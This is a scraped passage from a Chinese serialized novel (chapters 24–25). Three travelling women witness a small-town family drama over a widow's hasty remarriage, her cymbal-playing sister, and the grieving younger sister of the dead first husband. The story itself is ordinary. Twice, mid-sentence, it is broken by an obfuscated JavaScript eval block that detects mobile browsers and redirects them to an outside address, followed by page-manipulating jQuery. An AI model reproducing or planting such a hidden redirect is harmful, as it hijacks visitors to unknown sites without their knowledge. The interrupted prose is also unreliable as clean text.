“老板出去了会儿,说是一会儿回来。”咚咚说。 景区的茶馆餐位费贵,三人都认为没必要消费,就站在柜台旁等。 映年问咚咚:“你懂戏?” 咚咚说:“不懂?” 昭岁纳闷:“那你刚才看这么久?” 咚咚说:“不是,我在看她们衣服。” 常服上前面清楚的写着“囍”字,后面是一串书法字体。本就潦草,衣服有褶皱,人员动时,看得更不清楚了。 茶馆停业两天,估摸着就是为了喜宴。古镇人流不算多,可绝不算少,这黄金位置单单留出周末两天来贺喜,盈亏上应该不划算。 三人一块看,像是玩识词游戏,终于看清楚来字样,是一个人名。 “苗光烁”,新人的名字。 小珞扛着饮料送货,正好进来撞见了,台上的大红字扎眼,冷哼一声,把饮料卸下来。 她想赶在苗光红回来之前离开。 不如人愿,苗光红手捧着一把喜糖,跨过进门的坎,见她们。 “这两天不对外营业哈。”老板说着,绕进了柜台,把喜糖放在果盘上,撕了一颗放嘴里,又绕出来,“噢噢,你电话来买冰糕的是吧?” 老板把冰柜的锁打开,拉开门让她们挑。正挑着,她又不见了,往后厨的方向走。 茶馆主营还是茶,冰柜的冰糕很不多。 昭岁拿的甜筒,映年吃得白冰棍,咚咚挑来挑去,选了个同款白冰棍。 “嚓”一声响从厨房传来。 三人望去,只见老板从厨房走出来,一手拿着一个金属大碟,再次合一。 “恰”又是一声。 声音真响。 映年正想开口问价格,老板又是“嚓擦”两声。似是上手了,老板对着在台上吼了一声,突然连续富有节奏地敲起两个大碟来。 与此同时,戏台上的中间人唱了一嗓子,没吊住,一旁的人自己都笑了。 有人道:“红红姐这不行啊,要搞砸的。” “笑什么笑,认真点。”苗光红也笑了,但憋住,又双击锅盖“恰”一声。 这一出,看着滑稽。 苗光红想起来,转头对三人道,“十块钱,扫码付就行。” 映年扫码付款,再看向老板,问:“这是钹?” 钹是一种打击乐器,一般配套两个凸面圆状金属,两者相击发出声音,也有用棒状物品敲打的声音。 映年认识,是因为以歌玩打击乐器,架子鼓的镲和这些原理类似,以歌玩乐的时候同她讲过。 这话惹得苗光红侧目,下一句咚咚就接上了:“她以前音乐公司的。” 就这么一句话,苗光红惊喜了:“你搞音乐的?” 一个公司的所有组成人员五花八门,咚咚的话太的具有引导性了。 映年无语:“不是。” 苗光红显然把这当成了谦虚:“小妹,指导一下我们的戏呗?” 映年瞥向咚咚,咚咚佯装没看见,转头乱看。昭岁反而看向她,脸色不太好。 映年起初闻着有种腥味,苗光红靠近,这腥味更重了:“真不是。” 苗光红当作是推辞,拿着牛肉干推进了一点,映年吃素食主义拒绝,苗光烁还在一旁收拾请柬呢,见这边情况,走过来让苗光红噤声了。 小珞在一旁听着烦。送完要走,苗光红叫住了她,让她记得明天来酒席。 酒席? 小珞睨苗光红一眼,发出一声“呵”,拉着推车走了。昭岁三人也没留,离开了茶馆。 苗光红朝着苗光烁撒娇,说了两句:“哎呀呀呀,热闹嘛。” 苗光烁瞪她一眼,苗光红乖巧了。 _ 苗家是做红白喜事的。 也不是一开始就做红白喜事。 苗家父母早年在戏班做幕后,学的了打手钹,后头戏班解散,就回来,做起来这事。镇上也不是天天结婚死人的,混口饭吃,去了钢铁厂。 苗光红读书不行,早年就停了,和父母在一块上班。 她钢铁厂的正事,偏偏苗光红爱玩麻将,牌运不错,总能在工作时间瞧见她窝在茶馆。可厂里按计件算,真要吃起这份苦的人少,所以工作还就没人能完全取代。 干了多少年工厂的职务没升上去,总是游走于牌桌之间。没想到牌运极好,这甚至让她积累了一笔 钱,在茶馆亏损经营转让时,大伙儿都在观望,迟迟不敢出手,就苗光红魄力十足,借钱都要结下了这地盘。 前些年预备开发,锅厂迁址,茶馆生意兴隆了。新工厂工具迭代,苗家父母舍不得扔,收回来堆在茶馆后面,苗光红偶尔也拿着敲敲打打。 苗光烁就不一样了。 教育资源不同,她虽算不上出类拔萃,可在镇上也是足足看的。大学毕业后,苗光红以为她会留在大城市,没想到又回到了镇上建设。正巧赶上了古镇修缮,日子忙得脚不沾地,也算是工程一件了。 苗家的打钹还是在继续传承。 苗光红就是个好苗子,学在前头的苗光烁,抡起大钹来,也比不上苗光红。苗光红打钹,压得住红白大事,镇得住俗节宾宴,不说三界通晓,也能谈门户皆知。 “门户皆知”是真的门户。 打钹时,苗光红可不挑时候,爱打便敲得响,真要有人提出异议,苗光红就拿着大钹去人门户敲,敲到有人来调解。即便顽劣,苗光红还是很给村委会面子,可第二日依旧继续敲。 这家就是小珞家。 苗光红是不爽小珞她哥。小珞她哥和苗光烁青梅竹马长大,一块考到大城市去,老乡搀扶,顺理成章就在一起了。后来苗光烁回乡了,小珞她哥还留在城市打工,异地聊着。 晚上大半夜,苗光烁处理完工作,还得和小珞她哥聊天,聊着聊着就气抖。苗光红看着,心头生气啊,那气又转到了小珞家。 小珞不讨厌苗光红。 她敬佩苗光红。 苗光红登场太惊艳了。说是接了个丧事,大伙都以为是请这白事送葬团,没想到是苗光红一人来了,拿着个大钹,一敲就是一宿。小珞觉得乐趣啊,放学回家她就跑去苗光红那坐着。苗光红不藏私,给了个大钹让小珞试试,刚学着怎么拿,人家一松手,大钹太重,拿不稳,直接砸脚上了。苗光红戏弄成功,笑着说小孩多练。 此后,小珞更佩服苗光红了。小珞举不动大钹,还能举不动锅盖?拿着俩锅盖,“切切”就是玩。 小珞认为,要足够大的舞台,才能撑得住苗光红,她一个人的威力就能抵得上雷公电母,凭什么还要在浅滩戏水?人人都说苗光烁做了村官能够照拂她妹,在小珞看来,真正收到照顾的是苗光烁。 苗光红不该在这里熄灭的。 去年小珞她哥葬礼,小珞她爸要请大师来送亡子,苗光烁没拦,可苗光红拿着大钹来了,打了一天一夜,两股乐器对冲,最后苗光红单挑获胜。 苗光红也不是正经做红白大事的,在外人看来,就是不正经的,除了实在没钱,也没会去找她。但当真她出马,钹声响亮,一个镇都能听见。即便是颇有微词,主家办事,还是把怨气洒在主家身上。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059326|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不止自己玩,还教会一帮人,大多是街坊打麻将的阿姨们。小珞也在其中。很多人能举起大钹,可耐性不够,总在敲击没多久就卸力,锅盖成了好的选择。有时候不在于音律,在于发声,有声音就有回响。 现在小珞脱离了队伍。 这次苗光烁的婚礼,就由苗光红张罗。要往上数的那场葬礼,连隔壁镇上的人都来哀悼了,让苗光烁节哀。 请柬发出去不少,确定要来的却不多。 有因为新郎是比苗光烁小十多岁,更主要是小珞她哥是救人牺牲的。 为救苗光烁。 _ 下午太阳辣。 冰棍放在嘴皮上,有凉意,让映年很舒服。热天化得快,映年去舔伤口,消得差不多了。 镇上一排小店,还没彻底商业化,不是流水线的炸串鱿鱼一类,好多是卖石头酥鱼或者米麻薯。再往里走,深灰色的石砖变了,是不规则形状的花色彩砖,细看裂开的痕迹,已经很久了。估计是保留下来的大砖块,这一片像是还没开发完全。 有曲直的狭窄巷道,视线探进去,道中有牵着的铁丝线挂着两三件衣服在飘。外部墙面被一并粉刷为了灰白色,可半掩着的木门,还是榆木板拼接的老样式。 三人往前走,去过桥,从对面的街道慢慢往回走。昭岁做攻略的时候,还有指路往湖边走,那片亭廊包围着,中间有个湖心亭,荷花荷叶挤满池中。她带着二人过去,到了湖边。 这一带人比古镇只多不少,除了街边小吃,还有风筝泡泡机、租用汉服这些服务。 咚咚想试试,去同老板讲价说只穿衣服不拍照,拉扯来去,老板没同意。走时,咚咚还是心欠欠的。映年让她干脆直接拍了,咚咚摇头:“不花冤枉钱的。” “拍了怎么算冤枉?”昭岁说。 咚咚不搭话了。 傍晚的太阳还是顶着,亭廊的风是热的,但好过刚才在顶着太阳前行。 湖边有汉服的,三五成群,怪不得老板舍不舍降价给咚咚体验。 往中间走,有矮桥通往湖心亭。 亭下有人在照片,三人等了会儿,拍照的机位过了,才到亭中。 亭中望去这景,成片莲叶舒张,荷花绽开,叶与叶之间,偶有锦鲤穿行浮过,荡起水波。 有一群男孩玩在一块,跪坐在椅凳上,勾着屁股,在撕面包喂鱼。 “肥元,你妈要结婚?” “没有。” “我家都收到请柬了。” “没有!” 有男孩往回靠,脚踢到了昭岁的裤子,他站起来,想换个地方喂鱼,肩膀被人拎住。 咚咚不满:“脚往哪踢呢?” 昭岁轻轻扯了一下咚咚的衣摆。 男孩不答话,想挣脱开,咚咚纂得更紧了。他仰着头就要开口,却看见天上有东西。 “嗯?” 咚咚劲大,勒得男孩“哎呀”叫了一声,拽着衣服一下挣脱开了。 “肥元!”男孩吼着,示意其他男孩往天上看。 昭岁被吸引注意力,也看去。 好大一个风筝,赭红色的灯笼,垂下的布条写着字:“恭喜苗光烁新婚”。 咚咚不管这些,还想去拽男孩,被人灵活的躲开了,一群人溜走时,男孩还转头做了个鬼脸。 叫肥元的男孩还站在原地。 咚咚叉着腰看他,昭岁正要说算了,肥元却替人道歉:“对不起。” 咚咚说:“别对我说,这个姐姐。” 肥元又对着昭岁道了歉。 映年弯腰问:“你妈要结婚了?” “没有!”这次的回答,肥元没有刚才的斩钉截铁,局促着又补充,“……没有。” 说完,肥元跑开了。 映年后知后觉这问话对于肥元很残忍。 昭岁站在一旁,没有说话。 关于齐美裳的感情,昭岁处于雾蒙蒙的状态。就昭岁而言,她是希望敞明了说。 第一段婚姻的分开,轻巧得让她无知无觉,说着下车上厕所的功夫,上一辆公交车就离开了。齐美裳带着她回了大姥姥家,她还艳羡着是不是祁孝逑偷偷带着映年去玩了。昭岁问大姥姥,大姥姥板着脸让她不要到处乱跑,去找咚咚玩,咚咚也不和她玩。 那整个夏天都被一层雾罩着,她满心期待着齐美裳来接她,带着她一块去旅行。 临到假期快要结束,咚咚主动跑来了,告诉她是齐美裳离婚了。 回程路上,昭岁惴惴不安问齐美裳:“是不是上次走丢,错怪姐姐,爸爸带着她走了?” 齐美裳摇头说:“不是,爸爸妈妈都在呢。” 回到家时,室内装潢都变了,另外二人的痕迹消失了。昭岁跑到卧房门口,打开门,上下铺变成了单人床。 齐美裳说:“昭岁不是一直想睡单人床吗?” 过了一阵,昭岁基本接受独自上学的事实。 齐美裳开始频繁加班,晚饭时间没法赶回来,就让她热热饭自己吃。也就是这样,在一次齐美裳洗澡时手机铃响,昭岁把电话送到门口,报了刘海洋的名字,齐美裳说是单位同事。 正和昭岁的意,她接起来电话,问她:“可不可以不要让我妈加班了?” 对面那头的刘海洋声音温和,和她打招呼:“昭岁是吧?我是你妈妈的男朋友。” 这通电话让齐美裳的恋情曝光,同时让昭岁收获一顿痛骂。 24.第 24 章 风大,苗光红拿着线轮轴要和风较劲。 她双脚蹬在地上,腰微微下弯,身体像是一个未关合的折叠刀般锐利,一手握着一条线,轻轻地根据风向调整这朝向,以确保古镇方向能够看到。 她平时打铁打钹,挥锤多重,大钹也能顶上十多斤,高举着,早练出一身魁梧的肌肉。也是这力量,能够和这场大风较劲,又降伏它。 肥元蹲在草坪上,扯着杂草。 “你妈要结婚了,知道不?”苗光红说。 肥元没回答。 “你不舒服?”苗光红问。 肥元蹲着没起来,低声说:“我想爸爸。” “你撑死了我一缸鱼,开始忏悔也是忏悔我的鱼吧?”苗光红说,“不说对你妈不公平,对我的鱼太不公平了吧?” 肥元沉默了。 两人交谈之时,见有人呼唤她。 苗光红听着声是小珞,又没法分神去看,连忙控制着风筝飞得更高。肥元站身来,把手里提着的塑料垃圾放在一旁,掏出纸巾在擦手。 “我妈来了。”肥元说着,往后方跑去。 这话让苗光红不得不回头去看,小珞果真领着苗光烁来了。如果是苗光烁单独来,苗光红吃软的,讲上两句就收了线。如果是小珞单独来,苗光红看在小孩的面儿上,或许也会收。 这架势,是小珞担心制不住苗光红,带着苗光烁的来,苗光红就不爽了。 苗光烁还穿着家访的衣服,一身亮黄色的短袖,下面是条绿色的裤子,裤子本是长裤,被她改了版型,剪到了膝盖上面。无一例外的,衣服上都沾着些黑色的机油。这是她想玩打铁,抡不动,蹭上的。 苗光烁走到她身边,无奈:“小红。” 风筝标语原来是苗光红在春节的广告主意。那会儿正是苗光烁关键时期,苗光红在买了个双线风筝来宣传,字符是“请支持苗光烁”。 现在这不知何时去定的新标语。 苗光烁斜眼去看小珞,她背过身来,把兜里的糖摸出来,在哄肥元。 连正面应对的能力都没有。 小珞等了一会儿,没见到动静,起身来,他尽量好言相劝:“不好吧,红姐。” “小珞,格局大开点,”苗光红撑着风筝,游刃有余,“你哥是英雄,也不影响你烁烁姐再嫁。” “我是觉得苦了肥元这孩子。” “没事,肥元以后不会改姓,还是姓苗。” “这和姓不姓苗没关系的。”小珞心累,她还想再说,一旁的苗光烁来帮腔。 “小红。”这次她的语气重了些。 苗光红就好就收,开始收线。 “婚礼就在茶馆里办,上一次结婚亏欠了姐姐,这次得大办。”苗光红对着小珞说,“还得您的支持啊。” 苗光红这番举动,除了惹恼人,没什么实质性的好处。至于支持或反对的声音,早就无关痛痒了。 小珞再次被惹怒,伸手要去拽苗光红手里的转轮,抓住了。苗光红没抢,直接松开了手。 “那你放吧。” 小珞一愣神,被风戏弄得踉跄两下,紧绷的线突然断掉了。 平稳的风筝开始飘移。 _ 离开路上,咚咚又不死心,来到汉服摊子前讲价,还是被一口回绝。 午饭本就是在民宿一人买了个粽子吃,下午五点钟,还没到饭店,肚子饿了。咚咚做攻略里,要去吃哪家的石头酥鱼或者米麻薯,正往着走,有些迷路,路上碰见了散步的小珞。 咚咚认出了她,向她打听:“这边的酥鱼吃哪家正宗点?” 小珞不可置信地反问:“景区你还想吃正宗的?” 咚咚:“……”很有道理。 昭岁忙问:“那有什么正宗点的店推荐吗?附近的。” 小珞:“正宗的不好吃。” 昭岁:“……”这也没错。 映年则问:“那有什么好吃的推荐呢?” 小珞:“不正宗的石头酥鱼。” 映年:“……”浪费口舌。 小珞盯着咚咚挂在脖子上的相机,有所打算,问:“你是网红吗?” 咚咚:“不是。” 小珞没得到想要的答案,但还是带着三人去了一家鱼店。店里摆了三张桌子,悉数满客,要么等位要么就在外面大棚里就餐。外面的院子后方连着厨房,门口烧了一团旺火,正在炙烤鹅卵石,温度更高。 三人坐在里面等位,小珞走进柜台和老板搭话,说了两句,脸臭着出来了。 她面不改色说:“老板不接客,我带你们去下一家店。” 昭岁的耳朵可灵光,小珞说的明明是“明天能不能不送菜”,被老板拒绝了。 果然,这话一出,老板反驳。 咚咚:“就在这吃呗,外面好热。” 小珞:“这家不好吃。” 昭岁:“不是景区都一样吗?” 小珞:“也有正宗的。” 映年:“正宗的能好吃?” 小珞:“……” 老板:“你都送饮料了,定好的餐厅我还能不送?” 小珞的怒气还是膨胀,为自己,也为她哥,她盯着老板,憋着话没说,负气出了门。 三人落座,上菜了。 老板颇不好意思:“没办法,茶馆那头生意好,这次不接,以后也没那边的生意了。” 他三言两语讲了小珞和苗光烁的事情。去年山难,苗光烁为撤离镇民,小珞她哥去救苗光烁,当天只有苗光烁回来。几天后,小珞她哥才被挖出来。 老板说:“小珞她哥很好的,大城市发展,刚为了苗光烁回来没多久,就这事了。” 他没说,今年苗光烁的生意爆发,也带着些同情的意图。谁能想到,这个夏天苗光烁会火速再婚。 上两碟凉菜,中间摆着鱼盘,垒着鹅卵石,酥鱼仰卧在上,口中闲着一颗拨开小洋葱花。 吃饭间,三人难免唏嘘。 昭岁在清理鱼刺,道:“那要怎么办呢?不可以再结婚吗。她不是单身吗,也没这条禁令。” “不是不可以,是太快了。”映年不想说得太功利,用“卸磨杀驴”显得太冷血,可又找不到合适的词,“嗯……可以多等一阵子。” 昭岁认可这话,又说:“那是比起单身,可能这还更需要勇气。” 映年挑花椒的动作一顿,她不清楚昭岁是不是有弦外之音,而这弦外之音是反讽还是发自肺腑。她只能说:“她觉得这样生活更顺,就这样选择了吧。” 姐妹俩不接话了。 咚咚突然说一句:“不应该啊。” 两股视线探过去。 咚咚把鱼头上的小洋葱花拿下来,生啃着吃,她说:“他竟然这么爱她,应该也会祝福她重新幸福吧?那为什么镇民不愿意去参加婚礼呢,要把罪怪在她身上,苗光烁不也帮着撤离吗?” 昭岁小心翼翼撵着嘴里的鱼刺,只感觉到刺,却没找到在哪。她又用舌头转了一圈,还是没看到,想吞下去,到半截,还是吐了出来,没瞧见刺,不知是不是裹在鱼肉里了。 当死亡的责任被赋予到活人身上,要怎么过,才能算得上好过呢? 视线不自觉的转向咚咚,见她看过来,昭岁心虚低头,才感觉到舌头下面的鱼刺。 _ 古镇没开发完,河道却是通的。 映年买票上船来看夜景了,游客不多,空了一半的座位。 出发前,映年拿着手机在算这两日的花销。 咚咚和昭岁做了路线景观攻略,她就自主请缨来当财务管理。每个人出发前转款给她一笔钱,旅行用的资金都往里面扣,如果是另外两人有所公共支出,她就从资金里拿出这笔钱给对方。 她把账单放在了群里。 船渐渐动了。 她坐在靠近甲板的位置,去看西风古镇的景。这一片在她刚念大学,在旅游规划的课题中,老师就提到过西风古镇,说是未来十年的重点发展项目。 如今十年期满,还没修缮完成。这和地理因素有关,靠西边的地方是西风江,靠东边是山脉,整个古镇的发展受限。 可若是说景,映年更偏爱没同一粉刷的砌墙,缝隙里可能生长出阴生的蕨类植物,踩上楼梯时不需要用彩色油漆一道一道作为调剂。她清楚都是相对的,同时,她不可以去否认咚咚辛苦做的旅行攻略。 河流上漾着霓虹,船驶过,成了一圈一圈的光景。空气中有股焦炭的糊味,是在炙烤鹅暖石,可能是这加温了天气,船上的行进速度慢,没有内置风扇,光是坐着都觉得闷。 身体上的不良反应,映年可以忍受。 她举着手机拍摄了一小短视频,发在了三人群里,又转发给到家族群。 祁孝逑:嘴好了没? 映年:好了。 祁孝逑:热不热? 映年:还行。 过了会儿,祁孝逑的消息转到私聊。 祁孝逑:那边油桂皮不错,网上辨不清好坏的。你问问当地能不能买到好的,给你妈喝酒用。 映年:好。 游船靠到岸边,有人上来。 灯光被挡住,映年只能看见一个剪影,她对那对大钹有印象,自然而然想起苗光红。 那人几步过来,路过又撇了一眼,才发现不是,五官是相似,但气质完全不同。苗光烁透着一股彪悍的劲儿,这人的眼神却温柔如水。 一身过膝的素色长裙,脖子那处绣了紫红色的花,一路环绕到背部。头发盘起来了,脸上带着淡妆,嘴皮涂得红润润的。 举着大钹却丝毫不抖。 这是明天的主角苗光烁。 她也看见了映年,点了点头,坐在映年身旁的位置。 苗光烁说话局促:“怎么一个人啦?” 映年:“嗯,一个人。” 苗光烁又问:“这旅游怎么样?” “挺好的,空气不错。”映年想到祁孝逑布置的采买任务,“你们这油桂怎么买?” “要得多吗?” 这问题难住了映年,祁孝逑没说要多少。她不太希望齐美裳喝酒,可倘若这次不买,下次又不容易买到了。 “两三斤吧。” “散货这点,茶馆旁边有家中药店就能买到。”苗光烁说,“你要的话,等会儿直接去就行。” 两人点头再没话说。 要下船前,苗光烁突然说:“你真是音乐公司的,能不能求你件事?” 映年刚要说话拒绝,突然发现天边有亮光,是燃放的孔明灯。 苗光烁抢着继续说:“我妹打钹很有一手,如果有机会……” 映年回过神,压根没怎么听苗光烁的话。她没有这门路,就算有门路,转弯抹角找到以歌来帮忙,也没到这人情的情分上。 “单一个打击乐不够的,都是要配套的。”映年尽量说的委婉。 苗光烁停住了,眼神恳求。映年装作没看见。 _ 吃完饭,咚咚和昭岁在闲逛。 咚咚说:“我和你商量一件事。” 昭岁:“什么?” 咚咚:“我们吃鱼的零头才是她吃凉菜价格。吃饭这块,我俩平摊,她算她的,你看行不?” “她怎么算的?”昭岁还没来得及去看三人群的消息,这时点开群聊,扫了一遍映年的订单算账,“好。” 说着,昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065904|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁直接在聊天框里打字,刚要发送,她又顿住。 咚咚倒是不担心昭岁反悔,只是没想到对话框聊天都这么举步维艰:“怎么了?” 昭岁:“你来发吧。” 咚咚:“不一样吗?” 昭岁:“这是你提出的好意,我来帮你发,就顶功劳了。” 咚咚无所谓:“都一样,你不也同意了吗?” 不一样的,昭岁认为,她是更应该意识到的那个人。怎么可以,咚咚居然比她早发现。她太粗心了! 她应该看群里先发现这情况的,不,应该更早,在出发时映年主动要记账时就说明清楚。 “你和她说吧。”昭岁说。她踢着石子前进,走走停停,像是在运球。 咚咚没在这上面和昭岁纠结,她看着昭岁郁结的模样,说:“要不和你姐一块去游船呗?时间还早。” 昭岁脚下没控制住力道,石子飞到了河里,“嗒”一声没了影。 转了一圈,真发现了一处可玩的地方,能放飞孔明灯。 咚咚本不想玩,拗不住昭岁。两人交了钱,咚咚拿了个成品的,昭岁挑了一个房子造型的材料,坐在工作台上拼接,咚咚坐在一旁帮忙递材料。 “为什么不自己拼?心诚则灵,你这买成品。”昭岁说。 “我本来也不信这个。”咚咚说。 “又不要你信仰,只是一个美好的愿景。”昭岁察觉到咚咚的情绪沮丧,她把胶水涂在木条上,“五姨现在过得好,找到依托了,那不好吗?” 咚咚撑着纸要糊,没握住,一下软趴趴地黏在了线上。昭岁拯救及时,把纸掀起来,重新放平整了。她大概懂了为什么这么特色的一个项目,没被咚咚写进攻略里。 愿望用的毛笔写字,昭岁字不如咚咚,想让她帮忙写。咚咚念书不行,小时候报过书法班,一手字写得不错。 “写什么?”咚咚问。 “希望父母身体健康,希望能考上大学,希望姐姐有个好工作。” “你有点贪啊。” “还有呢。” “你念。” “希望咚咚要天天开心,不要和五姨生气了,也不要和三姥姥闹,要是真忍不住半夜偷偷哭,可以叫我一块起来。” 咚咚把孔明灯扔还给了昭岁,拿着自己的过来,无语她:“自己写吧,自己写的才灵。” “我自己写也这么写!”昭岁说。 咚咚握着笔顿了一下,没理她。 “你写什么呢?”昭岁问。 “不告诉你。”咚咚说。 “要我教你吗?”昭岁笑着,又要重复刚才的话,“就许你平时逗我啊?” 昭岁凑过去看咚咚写了什么,咚咚躲闪,还是让她看见了——“我要发财!” “不是吧?” “不可以吗?” “你把手机拿出来。” “怎么?” “我要看你是不是独吞了李立沐的钱。” “写你的去吧,烦死了。” 两人闹了一会儿,有人推门进来,昭岁还以为是游客,晃眼一看,是小珞。 工作台相邻,小珞拿着纸胶在糊,弄得不好。昭岁见着,实在忍不了,上手问她要不要帮忙。小珞最先拒绝,过了会儿,又问昭岁还能帮忙不。 “你不会是要诅咒苗光烁吧?”昭岁玩笑说。 “当然不会,”小珞选的是一个爱心款的形状,她神伤,“我哥就算不出事,婚姻也基本到头了。” “那你……?” “我哥心气高,能力就那样,一直不肯回来。” “啊?”昭岁诧异。 “他不见我们,后来耐不住打听,只说了在开出租车。” “职业就不分贵贱。”昭岁说。 “对于有些人来说就是分的,”咚咚说着,绕着把手里的线一圈一圈绕在木条支架上,“尤其是自己的职业,不是从前同一水准的人时。” 昭岁顿住,她清楚咚咚说的是齐美玉前夫,她却不免想到映年,以及映年母校名单上那些出类拔萃的人们。 她有点不甘,补充道:“只是暂时的。” “是,暂时的,我哥也没撑下去,所以回来了。”小珞举着支架,方便她们糊纸,“回来,就要商量离婚的事情。” 正在离婚中,人就没了。 小珞清楚情感的事情,不该怪责苗光烁,可她哥的命,似乎总得找一个出口,好像才不算辜负一场兄妹情。就算他是甘愿。 苗光烁不受这束缚,拉扯的只有小珞。两方的情况拉扯,她不清楚,到底该怎么做。 孔明灯放飞时,三人坐在草坪上望着天。 昭岁的灯密密麻麻,当真写满愿望。不只是带了家人,在下面,还写上了“希望黄柠檬、大霜都能被理想眷顾”,更末尾写着“希望能被妈妈接纳”。 “不是吧,你要是学什么,你妈会暴跳如雷?”咚咚疑惑。 “我不想学。”昭岁说着,又笑,吐着舌头,“我想发财。” “你最好别被我抓到乐子。”咚咚说。 咚咚的灯上除了“发财”,被昭岁强硬地涂划上了三个小人,中间咚咚手捧着相机,左右两边的人各自拿着个滑板和奖杯。 “不是,你为什么奖杯?”咚咚问。 “不是,你哪只眼睛看见那是奖杯?”昭岁不满。 “那不是吗?” “那是高达模型,模型!” 去看那一坨,昭岁果然不是适应用毛笔,根本就是糊成黑色。怎么看怎么都是个奖杯的形状,不过咚咚没再说了。 心形孔明灯最后飞起来。 仰头望去,上面写的大字是“新婚快乐”。 25.第 25 章 中药店的院子里种了些花草,哪怕烈阳,花依旧开得繁盛。 老板蹲在花盆边在施肥,见映年进来,说是到了打烊时间,让明天再来。映年看一眼时间,的确是,她跨步要走,又被叫住。 “不买了?” “明天来。” “等我浇完这波就来,给你抓货。” 映年便站在一旁看她浇水。 这片土肥,用的泥炭土又加了些赤玉土和珍珠岩,显然是用心照料,连杂草刮得无影无踪。 一片黄花已经开了,郁郁葱葱,到了人的腰部。 映年闻着这水,有股驱虫药的味:“先收了再驱虫呗。” “这以前的罐子,味没散尽,里面就肥水了。” “你用的中药渣沤肥?” “这话就是红姐家的鱼埋着,才能长这么肥。” 映年想起茶馆戏台边,硕大的装满气球的鱼缸,她说:“太奢侈了吧。” “死了再用,不算奢侈。”老板说,“肥元把他爸留下的保养品扔里头,全喂死了。” 观赏鱼,撑死的真不在少数。 撑死一整个缸的,还真不多。 “那怎么不在养了?”映年问,“翻缸吗?” “不知道,光烁让红姐别养了。”老板收了浇水的壶,起身来,直接在围裙上擦了擦手,“红姐还想去民宿找你,请你来看看排练呢。” 老板这样说,映年才意识到,这人就是戏台上表演的人。 “我真不会。” “明天多就走,要不要来吃席?” “不好吧……” 老板带着映年走进中药店,里面很大,还是中式的装潢,中药柜搭起来,一格一格沾满柜台三边的墙。不止苦药的气味,下午闻到的腥味更重了,她确定不是老板说的死鱼,环顾四方,没发现什么情况。 这气味从何而来呢? 她听到有节奏的“叮当”声响起来。不是钹,这声音更有穿透力。 “红姐在后院里发泄呢。”老板解答了映年的疑惑。 “发泄什么?” “打铁啊。” 映年想到苗光红的身形,这一切都很合理。可是这事在晚上,是不是不太合理? “你也觉得光烁不该再婚?”老板问。 “不是,”映年对这很无奈,“谁会想随机邀请陌生人。” “明天店里坐不满人,来点人总归是不错的。” 想起苗光烁在船上的模样,映年稍稍松动了:“我不确定明天会不会一早就走。” _ 后院零件四散摆放着,地上的锈黑扫不干净,但凡真踩上,鞋底就得脏。 任凭这苗光红打铁,来阻拦的少有。 苗光烁的脸被火的温度烧得红彤彤的,她拿着钳子,在帮着苗光红控制铁块。 “叮叮当当”间,没人说话。 苗光红抡着锤子,越砸越重,声音越发响亮。 慢慢锤成了扁平的铁片。 新换上铁块,再来锤。 苗光红把锤子递给了苗光烁:“你来。” 苗光烁力气显然不如苗光红,定制的铁锤,挥起来费力。 “为什么不说?”苗光红问。 苗光烁不回答。 “为什么连我都不说?”苗光红又问。 苗光烁还是没说话,只费力挥锤,可力气消磨殆尽。苗光红还是心软了,接下了锤子。 “去休息吧。” “小红。”苗光烁正色看她,“明天早上……” 月明星稀的晚上,虫鸣炸裂,植株挠人,热风吹过一阵粘腻,有很重的铁腥味。 苗光红撑着腰站直,眼眶泛红,盯着她。 苗光烁的话突然卡住了,她转口道:“那别太早。” _ “口碑反转代价挺大的。”映年嘴角的肿胀还没消,对着镜子拍了一张照片,歪了点,又调试着拍了几张,保留最清晰的下来,“我看小孩挺大了,女方一直在带,不辛苦吗?” “也不能完全说不管吧,他还是在补贴家用。”昭岁撑着手机在看新出的动漫,声音开的公放,虽不大,但主角的吼声响亮,在吼:“他就是没想活!” “拿命换的,挺不值的。”咚咚说,“我情愿活着。” 昭岁看咚咚一眼。咚咚踢踢昭岁,让她先去洗澡。她搁下手机,去拿背包里的衣服。 浴室水声传来,咚咚就说了记账的事情,又在后面补充了一通昭岁的“顶功”论调。 “没事,一起算方便。”映年说。 “真不用,不然我俩都不敢吃了。”咚咚笑起来,“要不我俩就和你一块吃素。” 映年认真思考了一会儿:“可以啊,素食也不错的。” “……”咚咚可没想受口腹之罪,“还是分开吧。” 见她坚持,映年也没再反调。 两人一时之间没话聊。 聊点什么吧?咚咚在想话题,问映年船上风景怎么样?映年回答不错。咚咚又问嘴皮还痛不痛?映年回答习惯了。咚咚再问麻将学的怎么样了?映年说刚看完两个课时。 聊着聊着,映年也意识到了。 她说:“我很无聊吧?” 咚咚:“是我没暖起来。” 这次由映年挑起话题:“三姥姥想养老院?” “是,挺好。”咚咚搓搓手,“她说话是难听,就那天在你家吃饭的时候。” 乔迁宴上的话,早被大姥姥怼了回去,映年不会计较这些。 “昭岁有给你说想报什么学校吗?” “没。” “是没说还是你不想说?” “如果我不想说,你会刨根问底吗?” “不会。”映年说,“因为我当时也不想让我妈知道音乐公司的事情。” 咚咚反问:“是吗?” 映年说:“是。” 咚咚没接话。 映年又问:“那你知道昭岁报什么学校吗?” 咚咚:“……” 映年:“你大姨很担心。” 咚咚:“我真不知道。” 两人再次沉默了。 映年处理完嘴皮,坐到椅凳上来,继续收拾上午没搞完的行李。 “我还不如他呢。”映年说。 